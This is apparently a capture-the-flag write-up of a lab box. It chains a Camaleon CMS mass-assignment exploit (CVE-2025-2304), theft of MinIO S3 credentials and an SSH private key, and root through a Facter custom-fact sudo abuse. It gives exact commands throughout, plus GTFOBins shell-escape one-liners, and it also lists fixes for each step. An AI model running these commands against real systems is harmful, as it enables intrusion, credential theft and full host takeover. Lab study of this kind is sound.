Facts
Summary
I exploited a mass-assignment flaw in Camaleon CMS (CVE-2025-2304) to promote a self-registered low-privilege account to administrator, then harvested hard-coded MinIO S3 credentials from the admin settings page. Those credentials unlocked a MinIO bucket storing a home-directory backup containing user trivia's SSH private key.
After recovering the key's passphrase, I logged in via SSH and abused a passwordless sudo rule granting unrestricted access to Facter — a Ruby-based facts tool that loads arbitrary code — to execute commands as root and complete the compromise.
Command conventions
The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].
export TARGET="<retired-instance-ip>"Attack path — how the box was taken
Exact commands 4
nmap -sV -sC -p 22,80,54321 $TARGETecho "$TARGET facts.htb" >> /etc/hostscurl -si http://facts.htb/admin/ | grep -iE 'camaleon|version'curl -si http://$TARGET:54321/ | grep -i serverExact commands 2
git clone --depth 1 https://github.com/Alien0ne/CVE-2025-2304 /tmp/CVE-2025-2304python3 /tmp/CVE-2025-2304/exploit.py -u http://facts.htb -U codex065361 -P '[REDACTED: recovered credential]' -eFixPatch Camaleon CMS and lock down self-registrationCritical
Exact commands 2
python3 /tmp/CVE-2025-2304/exploit.py -u http://facts.htb -U codex065361 -P '[REDACTED: recovered credential]' -ecurl -s -b '<admin_session_cookie>' 'http://facts.htb/admin/settings' | grep -iE 'access.key|secret|s3|endpoint'FixRemove hard-coded credentials from the application and rotate immediatelyCritical
Exact commands 3
python3 -c "
import boto3
s3 = boto3.client('s3', endpoint_url='http://$TARGET:54321',
aws_access_key_id='[REDACTED: recovered credential]',
aws_secret_access_key='[REDACTED: recovered credential]')
print([b['Name'] for b in s3.list_buckets()['Buckets']])
for o in s3.list_objects_v2(Bucket='internal').get('Contents', []):
print(o['Key'])
"python3 -c "
import boto3
s3 = boto3.client('s3', endpoint_url='http://$TARGET:54321',
aws_access_key_id='[REDACTED: recovered credential]',
aws_secret_access_key='[REDACTED: recovered credential]')
s3.download_file('internal', '.ssh/id_ed25519', '/tmp/facts_id_ed25519')
s3.download_file('internal', '.ssh/authorized_keys', '/tmp/facts_authorized_keys')
"mc alias set facts http://$TARGET:54321 [REDACTED: recovered credential] [REDACTED: recovered credential] && mc ls facts/internal --recursiveFixRemove authentication material from object storage and enforce least-privilege bucket policiesHigh
Exact commands 3
chmod 600 /tmp/facts_id_ed25519ssh-keygen -y -P '[REDACTED: recovered credential]' -f /tmp/facts_id_ed25519 > /tmp/facts_id_ed25519.pub && echo 'passphrase ok'cp /tmp/facts_id_ed25519 /tmp/facts_id_ed25519_nopass && ssh-keygen -p -P '[REDACTED: recovered credential]' -N '' -f /tmp/facts_id_ed25519_nopassExact commands 2
ssh -i /tmp/facts_id_ed25519_nopass -o StrictHostKeyChecking=no trivia@$TARGETid && cat ~/user.txtExact commands 4
sudo -n -lmkdir -p /tmp/factsrootprintf 'Facter.add(:pwn) do\n setcode do\n `/bin/bash -c "id; cat /root/root.txt"`\n end\nend\n' > /tmp/factsroot/pwn.rbsudo /usr/bin/facter --custom-dir=/tmp/factsroot pwnFixRemove unrestricted passwordless sudo access to FacterCritical
Attack patterns used
The transferable techniques behind this compromise.
SSH Private Key / Credential TheftCredential Access · Lateral MovementT1552.004
What it is
Foothold access frequently exposes reusable secrets: SSH private keys (~/.ssh/id_rsa), authorized_keys, config files, history, and backups. Recovering a private key lets an unauthorised user authenticate as that user (or pivot to other hosts that trust the key), often upgrading a shaky webshell into a stable SSH session.
Why it works
Keys and credentials get left in home directories, world-readable backups, and version control. Remediate by passphrase-protecting keys, scoping authorized_keys, and scanning for secrets at rest.
Read more
Sudo Misconfiguration (GTFOBins)Linux · Privilege EscalationT1548.003
What it is
When a low-privileged user is allowed (via sudo -l) to run a specific binary as root, many binaries can be coerced into spawning a root shell or reading root-owned files. GTFOBins catalogs the escape for each binary — e.g. sudo perl -e 'exec "/bin/sh"', sudo vim -c ':!sh', sudo find . -exec /bin/sh \;.
Why it works
Admins grant narrow sudo rights assuming the binary is 'safe', but interpreters, editors, and many utilities have shell-out features. Remediate by avoiding sudo rules on interpreter-class binaries, using NOEXEC, and least-privilege review. Always run sudo -l first on a foothold.
Read more
Exposed services
| 22/tcp | ssh OpenSSH 9.9p1 Ubuntu 3ubuntu3.2 (Ubuntu Linux; protocol 2.0) |
| 80/tcp | http nginx 1.26.3 (Ubuntu) |
| 54321/tcp | unknown recon-sweep-discovered |